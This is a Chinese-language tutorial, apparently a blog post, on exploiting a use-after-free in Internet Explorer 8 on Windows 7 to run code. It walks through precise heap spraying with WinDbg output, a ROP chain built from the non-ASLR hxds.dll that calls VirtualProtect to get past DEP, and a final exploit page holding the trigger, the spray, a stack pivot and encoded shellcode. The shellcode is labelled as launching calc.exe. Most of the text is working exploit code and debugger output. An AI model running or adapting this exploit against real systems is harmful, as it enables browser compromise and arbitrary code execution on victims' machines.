前面一篇學習了下怎麼用ClassName或者title來進行佔位,現在學習下如何利用該漏洞
對於UAF漏洞的利用,最簡單的就是通過Heap Spary來實現了,國外的大神也提出了一種不用Heap Spary,直接構造一個對象來利用的方法
現在學習一下這兩種方法,漏洞利用環境爲win7 32位+ie8,我們需要解決的問題有:
1.如果精確進行Heap Spary
2.如何bypass DEP
3.解決ALSR
接下來一個個解決這3個問題:
一、如何精確進行Heap Spary
有關這個問題,泉哥翻譯的Exploit編寫系列教程有詳細的說明,可以參考下。
這裏首先說明爲什麼要進行精確的Heap Spary
由於在xp sp3之後,ie8默認就開啓了DEP,這樣使得直接進行Heap Spary噴射的內存將不具有可執行的屬性,一旦EIP跳到我們噴射的內存上將因爲不可執行屬性而觸發異常:
0:012> g (cbc.258): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0c0c0c0c ebx=001fbc98 ecx=00000052 edx=00000000 esi=00000000 edi=00201430 eip=90909090 esp=0230d600 ebp=0230d65c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 90909090 ?? ??? 0:005> !address 0c0c0c0c
Failed to map Heaps (error 80004005) Usage: <unclassified> Allocation Base: 0c090000 Base Address: 0c090000 End Address: 0c111000 Region Size: 00081000 Type: 00020000 MEM_PRIVATE State: 00001000 MEM_COMMIT Protect: 00000004 PAGE_READWRITE
因此我們需要構造一個ROP鏈來將這塊內存賦予可執行的屬性後再回到這裏的內存執行,那麼我們就需要確保我們能夠精確的知道我們shellcode的具體位置,因爲在構造ROP鏈時我們需要用
噴射的shellcode來控制ROP鏈中函數的參數等問題,其實是相當於將分配的堆作爲新的棧使用(這裏需要通過stackpivot技術實現,即指令xchg,如xchg eax,esp將棧指向eax指向的內存空間)
<!doctype html> <html> <head> <script> var arr_div = new Array(); var junk=unescape("%u0c0c%u0c0c"); while (junk.length < (0x100- 6)/2) { junk+=junk; } var nops=unescape("%u9090%u9090"); while(nops.length<0x1000) nops+=nops; var code =unescape("%u4141%u4141%u4141%u4141");//can be ROP or shellcode var shellcode=nops.substring(0,0x800-code.length)+code;//堆內存0x1000字節對齊,由於unescape函數的關係,要分配0x1000字節的堆空間實際需要0x800個%u4141 while(shellcode.length<0x40000) { shellcode+=shellcode; } var block = shellcode.substring(0,0x40000); var heap_chunks = new Array(); for (var i=1; i < 500; i++) heap_chunks[i] = block.substring(0,0x40000); function helloWorld() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); for(var i = 0; i<0x50; i++) { arr_div[i]= document.createElement("div"); arr_div[i].title= junk.substring(0,(0x58-6)/2); } } </script> </head> <body onload="eval(helloWorld())"> <form id="a"> </form> <dfn id="b"> </dfn> </body> </html>
用這段代碼完成噴射後的堆空間如下:
0:012> g (948.c08): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0c0c0c0c ebx=000e7f98 ecx=00000052 edx=00000000 esi=00000000 edi=00106270 eip=90909090 esp=0230cfa8 ebp=0230d004 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 90909090 ?? ??? 0:005> !heap -p -a eax address 0c0c0c0c found in _HEAP @ 60000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 0c0c0018 10002 0000 [00] 0c0c0020 80010 - (busy VirtualAlloc)
0c0c0c0c所在堆塊的UserPtr爲0c0c0020:
0:005> dd 0c0c0020 0c0c0020 00080000 90909090 90909090 90909090 0c0c0030 90909090 90909090 90909090 90909090 0c0c0040 90909090 90909090 90909090 90909090 0c0c0050 90909090 90909090 90909090 90909090 0c0c0060 90909090 90909090 90909090 90909090 0c0c0070 90909090 90909090 90909090 90909090 0c0c0080 90909090 90909090 90909090 90909090 0c0c0090 90909090 90909090 90909090 90909090
0:005> dd 0c0c0020+0x1000 0c0c1020 41414141 90909090 90909090 90909090 0c0c1030 90909090 90909090 90909090 90909090 0c0c1040 90909090 90909090 90909090 90909090 0c0c1050 90909090 90909090 90909090 90909090 0c0c1060 90909090 90909090 90909090 90909090 0c0c1070 90909090 90909090 90909090 90909090 0c0c1080 90909090 90909090 90909090 90909090 0c0c1090 90909090 90909090 90909090 90909090
可見我們噴射的數據是從0c0c0020+4的位置開始的,此時的內存佈局如下:
觀察以下噴射的內存塊:
0:005> !heap -flt s 0x80010 _HEAP @ 60000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 02bd0018 10002 0000 [00] 02bd0020 80010 - (busy VirtualAlloc) 02c60018 10002 0002 [00] 02c60020 80010 - (busy VirtualAlloc) 02ff0018 10002 0002 [00] 02ff0020 80010 - (busy VirtualAlloc) 03280018 10002 0002 [00] 03280020 80010 - (busy VirtualAlloc) 03310018 10002 0002 [00] 03310020 80010 - (busy VirtualAlloc) 03d10018 10002 0002 [00] 03d10020 80010 - (busy VirtualAlloc) 04050018 10002 0002 [00] 04050020 80010 - (busy VirtualAlloc) 043e0018 10002 0002 [00] 043e0020 80010 - (busy VirtualAlloc) 04470018 10002 0002 [00] 04470020 80010 - (busy VirtualAlloc) 04500018 10002 0002 [00] 04500020 80010 - (busy VirtualAlloc)
通過以上數據可以看出每個內存塊都以0018結尾,這樣我們每次分配的數據相對每個塊的UserPtr是固定的,因此我們可以計算出nops與堆塊的距離然後構造數據:
offset=(0x0c0c0c0c-0x0c0c0024)=0xBE8/2=0x5F4
除以2還是因爲unscape計算的長度實際是分配字節的一半。
<!doctype html> <html> <head> <script> var arr_div = new Array(); var junk=unescape("%u0c0c%u0c0c"); while (junk.length < (0x100- 6)/2) { junk+=junk; } var nops=unescape("%u9090%u9090"); while(nops.length<0x1000) nops+=nops; var code =unescape("%u4141%u4141%u4141%u4141");//can be ROP or shellcode var offset=0x5F4; var junk_offset=nops.substring(0,0x5F4); var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length); while(shellcode.length<0x40000) { shellcode+=shellcode; } var block = shellcode.substring(0,0x40000); var heap_chunks = new Array(); for (var i=1; i < 500; i++) heap_chunks[i] = block.substring(0,0x40000); function helloWorld() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); for(var i = 0; i<0x50; i++) { arr_div[i]= document.createElement("div"); arr_div[i].title= junk.substring(0,(0x58-6)/2); } } </script> </head> <body onload="eval(helloWorld())"> <form id="a"> </form> <dfn id="b"> </dfn> </body> </html>
這樣的話我們的堆佈局如下:
調試如下:
0:012> g (c50.430): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0c0c0c0c ebx=002c7de8 ecx=00000052 edx=00000000 esi=00000000 edi=002eaa98 eip=90909090 esp=024fd6b0 ebp=024fd70c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 90909090 ?? ??? 0:005> dd 0c0c0c0c 0c0c0c0c 41414141 41414141 90909090 90909090 0c0c0c1c 90909090 90909090 90909090 90909090 0c0c0c2c 90909090 90909090 90909090 90909090 0c0c0c3c 90909090 90909090 90909090 90909090 0c0c0c4c 90909090 90909090 90909090 90909090 0c0c0c5c 90909090 90909090 90909090 90909090 0c0c0c6c 90909090 90909090 90909090 90909090 0c0c0c7c 90909090 90909090 90909090 90909090
已經實現了精確控制!
二.如何bypass DEP&ASLR
要繞過DEP需要構造ROP鏈,而構造ROP鏈就需要考慮ASLR,這裏我們採取的方法是用未開啓ASLR的模塊來繞過ASLR,該是模塊hxds.dll,是office2010的一個組建,通過一條js語句來加載該模塊:
location.href = 'ms-help://'
所以我們需要的就是在該模塊中構造ROP鏈並最終調用VirtualProtect。
搜索ROP的過程就不多說了 構造好的ROP鏈如下:
var stackpivot += "%ub30e%u51c3"; // 0x51c3b30e # RETN [hxds.dll] (align esp) stackpivot += "%u198c%u51be"; // 0x51be198c # POP EBX # RETN [hxds.dll] stackpivot += "%u4a41%u51be"; // 0x51be4a41 # XCHG EAX,ESP # RETN [hxds.dll] var ropchain = "%u34b4%u51bf" + // 0x51bf34b4 # POP ESI # RETN [hxds.dll] "%u10b8%u51bd" + // 0x51bd10b8 # ptr to &VirtualProtect() [IAT hxds.dll] "%u2d97%u51bd" + // 0x51bd2d97 # MOV EAX,DWORD PTR DS:[ESI] # RETN [hxds.dll] "%ucba0%u51bd" + // 0x51bdcba0 # XCHG EAX,ESI # RETN 00 [hxds.dll] "%u79e2%u51c3" + // 0x51c379e2 # POP EBP # RETN [hxds.dll] "%u9683%u51c5" + // 0x51c59683 # & call esp [hxds.dll] "%u6fbd%u51c5" + // 0x51c56fbd # POP EAX # RETN [hxds.dll] "%ufdfe%ua17f" + // 0xa17ffdfe # put delta into eax (-> put 0x00000201 into ebx) "%u1e01%u51c1" + // 0x51C11E01 # ADD EAX,5E800403 # RETN [hxds.dll] "%u92d8%u51c3" + // 0x51C392D8 # XCHG EAX,EBX # RETN [hxds.dll] "%ue67d%u51bf" + // 0x51BFE67D # XOR EAX,EAX # RETN [hxds.dll] "%u6fbd%u51c5" + // 0x51c56fbd # POP EAX # RETN [hxds.dll] "%ufc3d%ua17f" + // 0xa17ffc3d # put delta into eax (-> put 0x00000040 into edx) "%u1e01%u51c1" + // 0x51C11E01 # ADD EAX,5E800403 # RETN [hxds.dll] "%u592b%u51bf" + // 0x51BF592B # XCHG EAX,EDX # RETN [hxds.dll] "%ucf3e%u51be" + // 0x51becf3e # POP ECX # RETN [hxds.dll] "%ud150%u51c5" + // 0x51c5d150 # &Writable location [hxds.dll] "%uf563%u51be" + // 0x51bef563 # POP EDI # RETN [hxds.dll] "%u7402%u51c0" + // 0x51c07402 # RETN (ROP NOP) [hxds.dll] "%u6fbd%u51c5" + // 0x51c56fbd # POP EAX # RETN [hxds.dll] "%u9090%u9090" + // 0x90909090 # nop "%ua8dc%u51bd"; // 0x51BDA8DC # PUSHAD # POP ECX # RETN [hxds.dll]
最終的Exploit頁面代碼如下:
<!doctype html> <html> <head> <script> var arr_div = new Array(); var junk=unescape("%u0b30%u0c0c"); while (junk.length < (0x100- 6)/2) { junk+=junk; } var nops=unescape("%u9090%u9090"); while(nops.length<0x400) nops+=nops; while(nops.length<0x5f2) nops+=unescape("%ub30e%u51c3"); nops+=unescape("%u198c%u51be"); var code =unescape( "%u4a41%u51be%u34b4%u51bf%u10b8%u51bd%u2d97%u51bd%ucba0%u51bd"+ "%u79e2%u51c3%u9683%u51c5%u6fbd%u51c5%ufffe%ua17f"+ "%u1e01%u51c1%u92d8%u51c3%ue67d%u51bf%u6fbd%u51c5"+ "%ufc3d%ua17f%u1e01%u51c1%u592b%u51bf%ucf3e%u51be"+ "%ud150%u51c5%uf563%u51be%u7402%u51c0%u6fbd%u51c5"+ "%u9090%u9090%ua8dc%u51bd"+ //ROP結束 "%uc481%uf254%uffff%u2ebf%ue4ed%udbc0%ud9c8%u2474" + //shellcode calc.exe "%u58f4%uc933%u33b1%u7831%u0312%u1278%uee83%u06e9" + "%u1235%u4f19%ueab6%u30da%u0f3e%u62eb%u4424%ub35e" + "%u082e%u3853%ub862%u4ce0%ucfab%ufa41%ufe8d%uca52" + "%uac11%u4c91%uaeee%uaec5%u61cf%uae18%u9f08%ue2d3" + "%ud4c1%u1346%ua865%u125a%ua7a9%u6ce3%u77cc%uc697" + "%ua7cf%u5c08%u5f87%u3a22%u5e38%u58e7%u2904%uab8c" + "%ua8fe%ue244%u9bff%ua9a8%u14c1%ub325%u9206%uc6d6" + "%ue17c%ud16b%u9846%u54b7%u3a5b%uce33%ubbbf%u8990" + "%ub734%udd5d%udb13%u3260%ue728%ub5e9%u6eff%u91a9" + "%u2bdb%ubb69%u917a%uc4dc%u7d9d%u6080%u6fd5%u13d5" + "%ue5b4%u9128%u40c2%ua92a%ue2cc%u9843%u6d47%u2513" + "%uca82%u6feb%u7a8f%u3664%u3f45%uc9e9%u03b3%u4a14" + "%ufb36%u52e3%ufe33%ud4a8%u72af%ub0a0%u21cf%u90c1" + "%ua4b3%u7851%u431a%u1bd2%u4162"); var offset=0x5F4; var junk_offset=nops.substring(0,0x5F4); var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length); while(shellcode.length<0x40000) { shellcode+=shellcode; } var block = shellcode.substring(0,0x40000); var heap_chunks = new Array(); for (var i=1; i < 500; i++) heap_chunks[i] = block.substring(0,0x40000); location.href = 'ms-help://'; function helloWorld() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); for(var i = 0; i<0x50; i++) { arr_div[i]= document.createElement("div"); arr_div[i].title= junk.substring(0,(0x58-6)/2); } } </script> </head> <body onload="eval(helloWorld())"> <form id="a"> </form> <dfn id="b"> </dfn> </body> </html>
需要注意的:
第一次控制EIP時的第一條指令是一條StackPivot指令,用來將ESP指向我們可控的內存,此時esp應該是指向0x0c0c0b30,因此這塊數據
也需要精確的控制,但這塊數據並不是ROP鏈,因此這裏通過填充一系列的RET指令使ESP不斷的增加直到到達ROP鏈的入口0x0c0c0c0c+0x4